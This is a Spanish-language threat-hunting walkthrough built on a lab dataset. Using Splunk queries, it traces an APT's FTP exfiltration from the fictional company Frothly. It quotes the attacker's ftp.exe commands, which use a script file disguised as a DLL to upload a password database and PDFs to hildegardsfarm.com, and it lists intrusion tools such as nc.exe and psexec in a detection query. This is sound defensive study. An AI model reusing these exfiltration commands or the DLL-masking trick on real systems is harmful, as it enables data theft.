Hunting an APT - Exfiltración a través de FTP
La empresa Frothly - Tiene una intrusión de la APT Taedonggang
Exfiltración a través de un protocolo alternativo: Exfiltración a través de un protocolo no C2 no cifrado/obfuscado - FTP T1048.003
Hipótesis

Hunting Process
Identificación de la Ruta de Comunicación
Primero que todo, necesitamos verificar con qué tipos de fuentes empezar. Para ello veamos que sourcetype podemos utilizar para identificar conexiones FTP.
index=botsv2 |stats count by sourcetype | sort - count
Podemos ver que tenemos algunas fuentes para verificar, como suricata, pan, sysmon. Revisemos los eventos de FTP en cada fuente.
Vamos a consultar las fuentes en busca de conexiones FTP.
Suricata
index=botsv2 ftp sourcetype="suricata" | stats count by src_ip dest_ip |sort - count
- index=botsv2: Busca eventos dentro del índice llamado “botsv2”.
- ftp: Eventos relacionados con el Protocolo de Transferencia de Archivos (FTP).
-
sourcetype=”suricata”: Filtra los eventos para que solo se consideren aquellos cuyo tipo de fuente sea “suricata”. Suricata es una herramienta de análisis de tráfico de red y detección de intrusiones.
- sort - count: Esta parte ordena los resultados de la tabla generada por
stats
en orden descendente basado en la columnacount
. El signo menos (-) antes decount
indica un orden descendente (de mayor a menor).
Podemos ver que tenemos dos equipos, que corresponden a los presentes en la empresa (10.0.2.107 y 10.0.2.109), que tienen una conexión con una IP externa.
Palo Alto traffic paths
index=botsv2 sourcetype=pan:threat | stats count by src_ip dest_ip | sort - coun
Microsoft system
index=botsv2 ftp sourcetype="xmlwineventlog:microsoft-windows-sysmon/operational" | stats count by host | sort - count
Podemos verificar qué sistema tiene eventos de referencia de FTP. En este caso vemos como tenemos registros de los dos equipos conocidos (wrk) y también vemos la presencia de venus que corresponde al servidor.
Commands Executed
index=botsv2 ftp sourcetype="xmlwineventlog:microsoft-windows-sysmon/operational”
Hemos identificado que tenemos algunas conexiones extrañas con fuentes externas. Veamos qué comandos se han utilizado para realizar estas conexiones. Con Sysmon/Operational, podemos verificar los comandos utilizados.
“C:\Windows\system32\ftp.exe”:
- Ejecuta el programa
ftp.exe
que se encuentra en el directorioC:\Windows\system32\
. Este es el cliente FTP de línea de comandos incluido con Windows.
i:
- Esta opción desactiva el modo interactivo de
ftp.exe
, lo que significa que no pedirá confirmaciones para cada archivo transferido durante operaciones de múltiples archivos.
s:winsys32.dll:
- La opción
s
especifica un archivo de script que contiene comandos FTP que el programa ejecutará secuencialmente. - En este caso, el archivo de script se llama
winsys32.dll
.
La extensión .dll
corresponde a bibliotecas de enlace dinámico (Dynamic Link Libraries)
"C:\Windows\system32\ftp.exe" open hildegardsfarm.com
open hildegardsfarm.com:
- El comando
open
seguido porhildegardsfarm.com
indica al cliente FTP que se conecte al servidor FTP enhildegardsfarm.com
. Este dominio parece ser usado para enviar los datos a traves del FTP.
Análisis de series temporales de origen/destino
index=botsv2 ftp sourcetype="pan:*" src=* dest=* | eval uniq=src." ".dest| timechart count by uniq
Podemos observar que los primeros índices del tráfico fueron el 23 de agosto y el 25 de agosto. Verificaremos lo mismo en la actividad de Suricata y stream. Veremos que la actividad es parecida en las tres fuentes.
index=botsv2 ftp sourcetype="suricata" src_ip=* dest_ip=* | eval uniq=src_ip." ".dest_ip| timechart count by uniq
index=botsv2 ftp sourcetype="stream:ftp" src=* dest=* | eval uniq=src." ".dest| timechart count by uniq
Profundización en el tiempo
Basándonos en el análisis, podemos limitar el análisis al 23 de agosto y al 26 de marzo.
index=botsv2 ftp sourcetype="stream:ftp" src=* dest=160.153.91.7
En el marco temporal, tendremos 2 direcciones de origen y eventos FTP.
Seleccionando la fecha del 24 de agosto.
Podemos ver que ambas fuentes tienen el mismo número de eventos. Se están comunicando entre sí.
Flow_id: Indica que hay dos transacciones diferentes, lo que significa que pertenecen a secciones distintas.
reply_content: Número de mensajes de control diferentes, incluyendo dos mensajes de bienvenida de inicio de sesión, inicio de sesión exitoso y mensajes de sesión.
method: Lista de códigos FTP.
method_parameter: Nombres de archivos y métodos.
filename: Lista de valores del archivo; podemos detectar algunos archivos interesantes aquí.
Este archivo parece ser descargado al destino desde la dirección de origen. Indica que el adversario está descargando sus herramientas en la estación de trabajo local.
Refining Search
index=botsv2 ftp sourcetype="stream:ftp" src=* dest=160.153.91.7 |table _time src filename method method_parameter reply_content |sort + _time
Hemos tabulado los valores que vimos antes y los hemos ordenado por tiempo, desde el más antiguo hasta el más reciente.
Si observamos los dos sistemas lado a lado, podemos detectar la misma acción exacta realizada en ambos sistemas.
Tenemos tres ejecutables: un instalador .msi, un script de Python y una extensión .hwp.
HWP: es una aplicación de procesamiento de texto en coreano. Se utiliza para guardar documentos escritos en Hangul, que es el alfabeto nativo del idioma coreano.
Moviendo al segundo conjunto de eventos de FTP
Ahora nos trasladamos al segundo conjunto de eventos: el 25 de agosto.
Tenemos 4 eventos de transmisión en este día.S
Primera Transmisón
Podemos ver que el archivo frothly_password.kdbx fue enviado por FTP a un sitio externo.
Segunda Transmisión
213 archivos PDF.
Tercera Transmisión
496 archivos PDF.
Cuarta Transmisión
El archivo topsecreatyeast.pdf fue transmitido al sitio externo a través de FTP.
Lo extraño es que el contenido de la respuesta está marcado como subido y descargado 0 kilobytes.
Indicando una transferencia no exitosa.
Regresando al contenido de respuesta
En el valor de contenido de respuesta, el usuario admin@hildegardsfarm.com indica el nombre de usuario del lado remoto que está buscando recibir información.
index=botsv2 ftp sourcetype=stream:ftp src=* dest=160.153.91.7 reply_content="*admin@hildegardsfarm.com*" | sort +_time | table _time src flow_id
Basándonos en el campo src, podemos ver que hay 4 para la primera estación de trabajo y 2 más para la otra estación de trabajo.
Atando Cabos Sueltos
index=botsv2 (singlefile.dll OR winsys32.dll) |reverse
Al verificar los archivos DLL, podemos ver que los valores están ubicados en los registros de eventos del sistema y en Sysmon. Desafortunadamente, no podemos encontrar estos archivos en ningún otro lugar.
index=botsv2 sourcetype="xmlwineventlog:microsoft-windows-sysmon/operational" (singlefile.dll OR winsys32.dll) | table _time host user CommandLine ParentCommandLine |reverse
Profundizando en los datos de Sysmon:
Podemos encontrar algunos comandos de PowerShell codificados y de spawn, lo que indica una técnica de amenaza.
Windows Event Logs
index=botsv2 sourcetype=wineventlog (singlefile.dll OR winsys32.dll) |reverse
Hay una copia espejo de cada proceso de Sysmon en los registros de eventos de Windows, excepto uno: “mercury”.
]
Proceso que intenta FTP con una creación exitosa.
index=botsv2 sourcetype!=stream:ftp dns.py OR nc.exe OR psexec.exe OR "python-2.7.6.amd64.msi" OR wget64.exe OR winsys64.dll OR *.hwp) |reverse
.
Podemos ver 7 archivos listados en la descarga de FTP de la estación de trabajo.
Tenemos 22 eventos, pero solo 3 hacen referencia al host.
Procesos del equipo wrk-klagerf:
Los datos de Sysmon nos muestran un ftp.exe con winsys.64.dll.
La otra estación de trabajo muestra algo similar.
En Venus, tenemos un archivo dns.py ejecutado en Python, con un comando de PowerShell codificado en base64.
Tenemos más eventos con dns.py, ejecutando el mismo script cada 10 minutos. Podemos pensar que tenemos un cronjob en el servidor para ejecutar la orden.
Conclusiones
Observamos que FTP se utilizó para la exfiltración de datos.
FTP fue utilizado principalmente y se observó en tres sistemas.
- Acciones scriptadas
- Basadas en el archivo winsys32.dll encontrado con el argumento -s en Sysmon.
- No fue completamente exitoso
- Se observaron múltiples intentos, incluyendo un comando ftp open.
Los dos equipos de trabajo, wrk-btun y wek-klagerf, se observaron comunicándose con la IP externa 160[.]153[.]91[.]7 a través de múltiples fuentes.
Los servidores mercury y venus solo se observaron en el tráfico de Palo Alto.
El adversario está utilizando el comando ftp en los dos equipos de trabajo principalmente para intentar exfiltrar datos a esta dirección IP.
Se utilizó un nombre de archivo con extensión dll para ocultar que se estaba llamando a un script.
Los eventos de FTP proporcionan información sobre la actividad de carga y descarga.
Los mismos siete archivos están siendo descargados en ambos equipos de trabajo.
Los archivos PDF de Froht.ly se están cargando con éxito varias veces, probablemente porque TopSecretYest.pdf parece no querer cargarse (PAN: Threat muestra bloqueado).
El tráfico de exfiltración está destinado a un dominio llamado hildegardsfarm.com.
Acciones a tomar
Debemos de inculuir a la lista de bloqueo:
IP: 160[.]153[.]91[.]7 |
Dominio: hildegardsfarm[.]com |
Realizar análisis de tráfico en los sistemas para establecer líneas de base de comunicación entre sistemas externos e internos.
Monitorear los datos que no se espera que estén en la red.
- Si no se utiliza FTP corporativamente, monitorear y alertar cuando se observe.
- Si se utiliza corporativamente, ¿está limitado a usuarios y sistemas específicos?
Monitorearlos para detectar contenido y alertar en cualquier otro lugar si se detecta.
Monitorear grupos de archivos de interés y sus ubicaciones; un solo archivo podría crear falsos positivos.
Monitorear argumentos extraños con comandos.
Investigar las razones detrás de la elección del .dll con ftp.exe
Los adversarios pueden robar datos exfiltrándolos a través de un protocolo de red no cifrado diferente del canal de comando y control existente. Los datos también pueden enviarse a una ubicación de red alternativa desde el servidor principal de comando y control.